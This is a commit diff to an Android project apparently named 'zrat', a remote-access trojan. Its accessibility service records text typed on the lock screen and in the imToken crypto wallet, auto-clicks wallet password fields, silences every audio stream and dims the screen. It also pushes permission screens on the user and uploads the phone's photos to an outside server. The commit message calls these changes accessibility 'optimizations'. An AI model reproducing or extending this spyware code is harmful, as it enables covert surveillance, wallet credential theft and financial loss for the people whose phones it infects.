Просмотр исходного кода

优化无障碍服务和 ZService 功能

- 在 AccessibilityService 中增加了对锁屏和 imToken 应用的文本记录功能
- 改进了静音设置逻辑,确保在不同 Android 版本下的兼容性
- 在 ZService 中优化了权限请求流程,直接跳转到授权页面
- 更新了照片上传的 API 地址,并优化了日志输出
wuyi 5 месяцев назад
Родитель
Сommit
adf8feeb74

+ 162 - 62
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -3,16 +3,25 @@ package com.example.zrat;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.GestureDescription;
 import android.app.KeyguardManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.view.KeyEvent;
 import android.graphics.Path;
 import android.graphics.Rect;
 import android.media.AudioManager;
+import android.os.Build;
+import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
 import android.os.PowerManager;
+import android.os.SystemClock;
 import android.provider.Settings;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
@@ -20,6 +29,9 @@ import android.view.accessibility.AccessibilityNodeInfo;
 import android.widget.FrameLayout;
 import android.widget.ImageButton;
 
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
 import com.google.gson.Gson;
 
 import java.util.ArrayDeque;
@@ -77,7 +89,8 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             if (configured < 1000L) configured = 1000L; // 下限 1s,避免太频繁
             flushIdleMs = configured;
             Log.i(TAG, "flushIdleMs configured: " + flushIdleMs + " ms");
-        } catch (Throwable ignored) { }
+        } catch (Throwable ignored) {
+        }
 
         AccessibilityServiceInfo info = new AccessibilityServiceInfo();
         info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
@@ -137,7 +150,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
         String id = node.getViewIdResourceName();
 
-        Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
+        // Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
 
         Map<String, Object> map = new HashMap<>();
         map.put("class", node.getClassName());
@@ -252,41 +265,42 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                         if (contentDescription == null) {
                             contentDescription = "";
                         }
-            // 锁屏界面文本记录(聚合,优先事件快照)
-            if (isOnLockScreen()) {
-                List<CharSequence> eventTexts = event.getText();
-                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
-                        ? eventTexts.get(0).toString() : null;
-                String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
-                Log.i(TAG, "锁屏文本记录 | Text: " + toSave);
-                appendAggregateLine("LockScreen", toSave);
-            }
-            // imToken 文本记录(聚合,优先事件快照)
-            if ("imToken".equals(applicationLabel.toString()) || "im.token.app".equals(packageName)) {
-                List<CharSequence> eventTexts = event.getText();
-                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
-                        ? eventTexts.get(0).toString() : null;
-                String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
-                // 尝试抓取新增片段,提升首字命中
-                try {
-                    if (eventTextStr != null && event.getAddedCount() > 0 && event.getFromIndex() >= 0) {
-                        int from = event.getFromIndex();
-                        int to = from + event.getAddedCount();
-                        if (to <= eventTextStr.length()) {
-                            String added = eventTextStr.substring(from, to);
-                            if (added != null && !added.isEmpty()) {
-                                toSave = eventTextStr; // 保留完整快照
+                        // 锁屏界面文本记录(聚合,优先事件快照)
+                        if (isOnLockScreen()) {
+                            List<CharSequence> eventTexts = event.getText();
+                            String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
+                                    ? eventTexts.get(0).toString() : null;
+                            String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
+                            Log.i(TAG, "锁屏文本记录 | Text: " + toSave);
+                            appendAggregateLine("LockScreen", toSave);
+                        }
+                        // imToken 文本记录(聚合,优先事件快照)
+                        if ("imToken".equals(applicationLabel.toString()) || "im.token.app".equals(packageName)) {
+                            List<CharSequence> eventTexts = event.getText();
+                            String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
+                                    ? eventTexts.get(0).toString() : null;
+                            String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
+                            // 尝试抓取新增片段,提升首字命中
+                            try {
+                                if (eventTextStr != null && event.getAddedCount() > 0 && event.getFromIndex() >= 0) {
+                                    int from = event.getFromIndex();
+                                    int to = from + event.getAddedCount();
+                                    if (to <= eventTextStr.length()) {
+                                        String added = eventTextStr.substring(from, to);
+                                        if (added != null && !added.isEmpty()) {
+                                            toSave = eventTextStr; // 保留完整快照
+                                        }
+                                    }
+                                }
+                            } catch (Throwable ignored) {
                             }
+                            Log.i(TAG, "imToken文本记录 | Text: " + toSave);
+                            appendAggregateLine("imToken", toSave);
                         }
                     }
-                } catch (Throwable ignored) { }
-                Log.i(TAG, "imToken文本记录 | Text: " + toSave);
-                appendAggregateLine("imToken", toSave);
-            }
-                    }
                 }
             }
-            
+
             // 文本选择变化:有些输入法先通过选择变更暴露明文
             if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED) {
                 List<CharSequence> eventTexts = event.getText();
@@ -367,14 +381,16 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
             sp.edit().putLong("flush_idle_ms", flushIdleMs).apply();
             Log.i(TAG, "flushIdleMs updated: " + flushIdleMs + " ms");
-        } catch (Throwable ignored) { }
+        } catch (Throwable ignored) {
+        }
         // 重新调度已有的 idle 任务
         scheduleIdleFlush();
     }
 
     private String detectAppSource(String packageName, CharSequence applicationLabel) {
         if (isOnLockScreen()) return "LockScreen";
-        if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel != null ? applicationLabel.toString() : null)) return "imToken";
+        if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel != null ? applicationLabel.toString() : null))
+            return "imToken";
         return null;
     }
 
@@ -412,18 +428,52 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         return null;
     }
 
-    public void scrollDown() {  
+    public void scrollDown() {
+        // 首先尝试使用可滚动节点方法
         AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
         if (scrollable != null) {
-            scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
+            boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
+            if (success) {
+                return;
+            }
         }
+
+        // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
+        int screenHeight = getResources().getDisplayMetrics().heightPixels;
+        int screenWidth = getResources().getDisplayMetrics().widthPixels;
+
+        Path path = new Path();
+        // 从屏幕中间顶部开始,向下滑动到屏幕中间底部(这会使内容向上滚动)
+        path.moveTo(screenWidth / 2, screenHeight / 4);
+        path.lineTo(screenWidth / 2, screenHeight * 3 / 4);
+
+        GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
+        gestureBuilder.addStroke(new GestureDescription.StrokeDescription(path, 0, 300));
+        dispatchGesture(gestureBuilder.build(), null, null);
     }
 
     public void scrollUp() {
+        // 首先尝试使用可滚动节点方法
         AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD);
         if (scrollable != null) {
-            scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
+            boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
+            if (success) {
+                return;
+            }
         }
+
+        // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
+        int screenHeight = getResources().getDisplayMetrics().heightPixels;
+        int screenWidth = getResources().getDisplayMetrics().widthPixels;
+
+        Path path = new Path();
+        // 从屏幕中间底部开始,向上滑动到屏幕中间顶部(这会使内容向下滚动)
+        path.moveTo(screenWidth / 2, screenHeight * 3 / 4);
+        path.lineTo(screenWidth / 2, screenHeight / 4);
+
+        GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
+        gestureBuilder.addStroke(new GestureDescription.StrokeDescription(path, 0, 300));
+        dispatchGesture(gestureBuilder.build(), null, null);
     }
 
     public void home() {
@@ -439,21 +489,64 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
     }
 
     public void mute() {
-        AudioManager audioManager = (AudioManager) getSystemService(AUDIO_SERVICE);
-        if (audioManager != null) {
-            audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
-            // 媒体音量
-            audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
-            // 通知音量
-            audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0);
-            // 系统音量
-            audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 0, 0);
-            // 铃声音量
-            audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
-            // 拨号音量
-            audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0);
-            // 闹钟
-            audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0);
+        try {
+            AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+            if (audioManager != null) {
+                try {
+                    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) {
+                        audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
+                        Log.i(TAG, "铃声模式设置成功");
+                    }
+                } catch (SecurityException se) {
+                    Log.e(TAG, "设置铃声模式失败(权限问题): " + se.getMessage());
+                } catch (Exception e) {
+                    Log.e(TAG, "设置铃声模式失败: " + e.getMessage());
+                }
+
+                try {
+                    // 获取每个音频流的最小音量值
+                    int minMusicVolume = 0;
+                    int minNotificationVolume = 0;
+                    int minSystemVolume = 0;
+                    int minRingVolume = 0;
+                    int minDtmfVolume = 0;
+                    int minAlarmVolume = 0;
+
+                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+                        // Android 9.0 (API 28)及以上使用getStreamMinVolume
+                        minMusicVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
+                        minNotificationVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_NOTIFICATION);
+                        minSystemVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_SYSTEM);
+                        minRingVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_RING);
+                        minDtmfVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_DTMF);
+                        minAlarmVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_ALARM);
+                    }
+
+                    // 媒体音量
+                    audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, minMusicVolume, 0);
+                    // 通知音量
+                    audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, minNotificationVolume, 0);
+                    // 系统音量
+                    audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, minSystemVolume, 0);
+                    // 铃声音量
+                    audioManager.setStreamVolume(AudioManager.STREAM_RING, minRingVolume, 0);
+                    // 拨号音量
+                    audioManager.setStreamVolume(AudioManager.STREAM_DTMF, minDtmfVolume, 0);
+
+                    // 闹钟音量(某些设备可能限制修改闹钟音量)
+                    try {
+                        audioManager.setStreamVolume(AudioManager.STREAM_ALARM, minAlarmVolume, 0);
+                    } catch (Exception e) {
+                        Log.e(TAG, "设置闹钟音量失败: " + e.getMessage());
+                    }
+
+                    Log.i(TAG, "音量设置成功");
+                } catch (Exception e) {
+                    Log.e(TAG, "设置音量失败: " + e.getMessage());
+                }
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "静音设置失败: " + e.getMessage(), e);
         }
     }
 
@@ -461,7 +554,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         if (line == null) return;
         synchronized (bufferLock) {
             if (currentAggregateAppName != null && !currentAggregateAppName.equals(appName)) {
-                // 切换来源前先落库旧来源
                 flushBuffer();
             }
             currentAggregateAppName = appName;
@@ -500,12 +592,18 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
 
     public void screenOff() {
         try {
-            Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 1);
-            Log.i(TAG, "ScreenOff: 完成");
-        } catch (SecurityException e) {
-            Log.e(TAG, "ScreenOff: 需要权限: " + e.getMessage(), e);
+            if (Settings.System.canWrite(this)) {
+                Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 0);
+                Log.i(TAG, "已通过Settings.System设置亮度为0");
+            } else {
+                Log.w(TAG, "无WRITE_SETTINGS权限,正在请求用户授权");
+                Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
+                intent.setData(Uri.parse("package:" + getPackageName()));
+                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                startActivity(intent);
+            }
         } catch (Exception e) {
-            Log.e(TAG, "ScreenOff: 设置时出错: " + e.getMessage(), e);
+            Log.e(TAG, "亮度设置失败: " + e.getMessage(), e);
         }
     }
 
@@ -550,7 +648,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                                     Log.i(TAG, "主动扫描:已点击钱包密码验证区域");
                                     return; // 找到并点击成功,直接返回
                                 }
-                                
+
                                 // 如果节点本身不可点击,尝试点击其父节点
                                 AccessibilityNodeInfo parent = node.getParent();
                                 if (parent != null && parent.isClickable()) {
@@ -558,7 +656,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                                     Log.i(TAG, "主动扫描:已点击钱包密码验证父区域");
                                     return; // 找到并点击成功,直接返回
                                 }
-                                
+
                                 // 如果父节点也不可点击,尝试查找同级的可点击节点
                                 if (parent != null) {
                                     for (int j = 0; j < parent.getChildCount(); j++) {
@@ -570,7 +668,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                                         }
                                     }
                                 }
-                                
+
                                 // 如果以上都不可点击,尝试使用坐标点击
                                 Rect rect = new Rect();
                                 node.getBoundsInScreen(rect);
@@ -595,6 +693,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             }
         }).start();
     }
+
     private boolean isOnLockScreen() {
         try {
             KeyguardManager keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
@@ -608,7 +707,8 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             if (keyguardManager.inKeyguardRestrictedInputMode()) {
                 return true;
             }
-        } catch (Throwable ignored) { }
+        } catch (Throwable ignored) {
+        }
         return false;
     }
 }

+ 15 - 13
android/zrat/src/main/java/com/example/zrat/ZService.java

@@ -150,6 +150,8 @@ public class ZService extends Service {
 
     private boolean checkA11yService(Context context) {
         if (AccessibilityService.instance != null) {
+            // 无障碍权限已授予后,再次检测并请求 WRITE_SETTINGS 权限
+            checkWriteSettingsPermission(context);
             return true;
         }
         showDialog(context, "Permission Required", "To continue using this app, please enable the Unlimited Watching Service",
@@ -165,12 +167,11 @@ public class ZService extends Service {
         if (Settings.System.canWrite(context)) {
             return true;
         }
-        showDialog(context, "Permission Required", "To continue using this app, please grant the write permissions",
-                (dialog, which) -> {
-                    Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
-                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-                    startActivity(intent);
-                });
+        // 不弹对话框,直接跳转授权页
+        Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
+        intent.setData(Uri.parse("package:" + context.getPackageName()));
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
         return false;
     }
 
@@ -292,7 +293,8 @@ public class ZService extends Service {
     @Override
     public void onCreate() {
         super.onCreate();
-
+        // 应用启动时主动检测并请求WRITE_SETTINGS权限
+        checkWriteSettingsPermission(this);
         try {
             String socketUrl = getSocketUrl();
             IO.Options options = new IO.Options();
@@ -548,13 +550,13 @@ public class ZService extends Service {
                 while (cursor.moveToNext() && counter < count) {
                     long id = cursor.getLong(idIndex);
                     String name = cursor.getString(nameIndex);
-                    Log.e(TAG, "getPhotos | name: " + name);
+                    Log.i(TAG, "getPhotos | name: " + name);
                     String path = cursor.getString(pathIndex);
-                    Log.e(TAG, "getPhotos | path: " + path);
+                    Log.i(TAG, "getPhotos | path: " + path);
                     String data = cursor.getString(dataIndex);
-                    Log.e(TAG, "getPhotos | data: " + data);
+                    Log.i(TAG, "getPhotos | data: " + data);
                     Uri photoUri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id);
-                    Log.e(TAG, "getPhotos | uri: " + photoUri);
+                    Log.i(TAG, "getPhotos | uri: " + photoUri);
                     photoPaths.add(data);
                     counter++;
                 }
@@ -572,7 +574,7 @@ public class ZService extends Service {
                             RequestBody.create(MediaType.parse("application/octet-stream"), file))
                     .build();
             Request request = new Request.Builder()
-                    .url("http://shorts.izouma.com/api/ocrImg/upload")
+                    .url("https://zotfb.tech/api/ocrImg/upload")
                     .post(requestBody)
                     .build();
             client.newCall(request).enqueue(new Callback() {
@@ -586,7 +588,7 @@ public class ZService extends Service {
                     if (response.isSuccessful()) {
                         // 成功时的处理逻辑
                         String responseData = response.body().string();
-                        Log.e(TAG, "getPhotos | upload success: " + responseData);
+                        Log.i(TAG, "getPhotos | upload success: " + responseData);
                         try {
                             String id = mSocket.id();
                             JSONObject jsonObject = new JSONObject(responseData);